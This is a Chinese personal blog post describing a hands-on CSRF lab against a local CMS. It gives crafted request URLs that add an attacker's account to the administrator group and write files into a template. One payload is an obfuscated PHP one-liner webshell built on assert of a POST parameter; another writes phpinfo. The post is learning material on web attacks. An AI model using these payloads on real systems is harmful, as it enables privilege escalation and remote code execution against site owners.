Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

CSRF初探

2016-12-15 Updated on 2019-09-24 Summary

Table of Contents

  1. 与XSS的区别
  2. 实验过程
  3. 心得
  • 参考
  • CSRF

    CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

    与XSS的区别

    虽然我不懂XSS,但是我大概还是知道一点XSS中的攻击流程,与XSS不同的是CSRF在攻击的时候,攻击代码是由管理员执行的。

    整个CSRF攻击流程是

    1
    攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击

    实验过程

    在麦香师傅家,用麦香师傅的搭的环境,体验了一个傻逼管理员如何被攻击的过程。

    首先,我们先获取了timekey,即时间戳,还有token。
    经过精心的构造,我们可以构造,一个将自己的帐号添加到管理员组的攻击代码,在这个实验环境唯一的不足就是不知道如何获取自己的id numenber。
    构造的代码如下

    1
    http://127.0.0.1/upload/index.php?g=admin&c=admin&a=assign_admin_do&admin_role_id=1&a_ac_id%5B%5D=_all&timeKey=1481717211&token=a50d7be4&member_id=5

    上述代码的作用是将指定的账户添加到管理员组。

    当我们获取管理员权限之后,我们可以尝试getshell,这次我们依旧是可以通过CSRF,当管理员点击我们构造好的代码后,我们所写的一句话就被写入了。

    这个实验有一个不足的地方就是,不知道一句话被写入的位置,其次好像因为是组件的原因,如果我们一次没写入成功,这个组件就坏掉了,并不能第二次写入。在今天晚上的实验过程中,并没能成功getsehll,不知道是不是代码的原因。我的代码如下:

    1
    2
    127.0.0.1/upload/index.php?g=admin&c=template&a=edit_template_file_do&file=add_report.php&description=添加报告&content=<script language=pHp>$a = chr("97").ssert;$a($_POST[k]);</script><&timeKey=1481719767&token=9d1547ba&template=default&dir=*home

    上面的代码是未经过url编码的,但是在实验的过程中,虽然一句话没写入,但是下面的代码却成功写入phpinfo了。
    phpinfo写入代码

    1
    http://127.0.0.1/upload/index.php?g=admin&c=template&a=edit_template_file_do&file=add_report.php&description=%E6%B7%BB%E5%8A%A0%E6%8A%A5%E5%91%8A&content=%3C%3Fphp+phpinfo%28%29%3F%3E%3C&timeKey=1481717211&token=a50d7be4&template=default&dir=*home

    心得

    CSRF最关键的是什么,就是人与人之间的博弈,关键是如何让管理员成功执行我们的攻击代码呢?这的确是一个值得思考的问题。

    参考

    浅谈CSRF攻击方式
    从零开始学CSRF

    分类: Summary
    标签: web
    ← Prev checksec以及其包含的保护机制
    Next → ichunqiu百度杯-十一月reverse专题

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom